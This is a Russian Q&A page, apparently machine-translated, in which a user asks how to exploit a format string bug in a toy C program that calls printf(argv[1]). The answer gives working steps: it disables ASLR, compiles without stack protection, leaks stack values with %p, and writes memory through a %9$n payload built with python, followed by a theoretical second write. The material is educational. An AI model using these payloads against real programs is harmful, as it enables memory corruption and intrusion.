Intereting Posts
Может ли указатель когда-либо указывать на себя? Как я могу продолжить цикл, когда я даю scanf () не цифру в качестве входа? Форсировать кодировку UTF-8 в glib-файле “g_print ()” Как получить событие нажатия клавиши в консоли решение двух линейных уравнений в программе Получение указанного содержимого в буфер в c Время принятое: основная сумма строки Основная сумма столбца Функция хеширования для телефонных номеров почему мы не можем принять () сокет на некоторые данные процесса и recv () из его дочернего элемента? Возврат регистра SSE с отключенным SSE Как автоматически преобразовать объявление функции K & R в объявление функции ANSI? почему вывод является последней строкой от пользователя? Как обнаружить нажатия клавиш в программе GUI Linux C без запроса пользователя? С gcc включать строго символы C99, в частности исключая POSIX Вклад Struct в размер шрифта

Как использовать форматирование String Attack

Предположим, у меня есть следующий код:

#include  #include  #include  int num1 = 0; int main(int argc, char **argv){ double num2; int *ptr = &num1; printf(argv[1]); if (num1== 2527){ printf("Well done"); } if(num2 == 4.56) printf("You are a format string expert"); return 0; } 

Я пытаюсь понять, как это сделать правильно, но я просто не могу организовать свой разум с гидами в Интернете.

Предполагается ли что-то вроде:

 ./Program %p %p %p %p 

а потом

  ./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n 

Я просто не могу понять это, пожалуйста, помогите мне с этим.

Главное – использовать строку в запущенной программе через функцию prinft. Мне нужно получить как «Хорошо сделанный», так и «Вы – специалист по форматированию строк» ​​для печати. В моем случае, через терминал / оболочку Linux. Как отмечает HuStmpHrrr: это действительно должно быть White Hacking – Software Security

Прежде всего, я рекомендую вам прочитать книгу « Hacking: The Art of Exploitation . Это очень хорошо.

Теперь я попытаюсь объяснить, как вы можете использовать свою программу. Я предполагаю, что вы знаете некоторые основы о форматировании строк, поэтому мне не нужно начинать с самого начала. Однако важно отключить ASLR и скомпилировать исполняемый файл без защиты стека.

 # disable ASLR @> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # compile without stack protection @> gcc -g -fno-stack-protector -z execstack fmt.c 

Я немного изменил вашу программу, поэтому легче понять, как работает эксплойт:

 #include  int num1 = 0xdead; int main(int argc, char **argv){ int num2 = 0xbeef; int *ptr = &num1; printf(argv[1]); if (num1 == 0xabc){ printf("Well done"); } if(num2 == 0xdef) printf("You are a format string expert"); printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2); return 0; } 

Я использую 64-битную систему Ubunty. Размер указателя составляет 8 байтов.

Эксплуатация

переменная num1

Сначала мы пытаемся изменить переменную num1 . Адрес num1 сохраняется в ptr . ptr – локальная переменная в основном, поэтому она помещается в стек (тип int *). Чтобы проверить стек, мы можем использовать спецификатор формата %p .

 @> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p 

Выход:

 0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040 [DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84] 

Мы видим, что 9-й элемент имеет значение 0x601040 . Это то же самое, что и значение в нашем отладочном сообщении num1: 0xdead [0x601040] . Теперь мы знаем, что 0x601040 является указателем на переменную num1 и находится в стеке. Чтобы изменить это значение (записать в память), мы можем использовать спецификатор формата %n в сочетании с Direct Parameter Access %9$n для записи на адрес, который хранится в девятой позиции стека.

Чтобы получить доступ к сообщению Well done, нам нужно только записать значения 0xabc в stdout и использовать %n для записи этого числа в памяти:

 @> ./a.out `python -c "print('A' * 0xabc)"`%9\$n 

Я использую python для создания этого вывода. Теперь программа печатает «Хорошо сделано».

переменная num2

Если мы внимательно посмотрим на результат, мы увидим, что восьмой элемент имеет значение beef . Это наша переменная num2 . Я до сих пор не num2 , как использовать num2 но я пытаюсь объяснить, как это сделать теоретически. Мы хотим поместить произвольный адрес памяти в стек. Этот адрес должен быть адресом, который указывает на num2 ( 0x7fffffffde84 ). После этого мы можем использовать параметр %n для записи на этот адрес. Чтобы поместить адрес в стек, мы можем использовать строку формата.

 @> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"` 

Проблема в том, что нам нужно найти расположение этой строки формата в стеке.

 @> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"` 

«A» и «B» являются просто дополнением, а также легче найти наш адрес на выходе. Эксплоит похож на метод эксплойта num1:

 @> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n 

Проблема. В нашем сценарии адрес num2 равен 0x7fffffffde84 (то есть 0x00007fffffffde84 ). Этот адрес нельзя записать, потому что 0x00 является C-String Terminator. Поэтому мы не можем поместить адрес в нашу строку формата.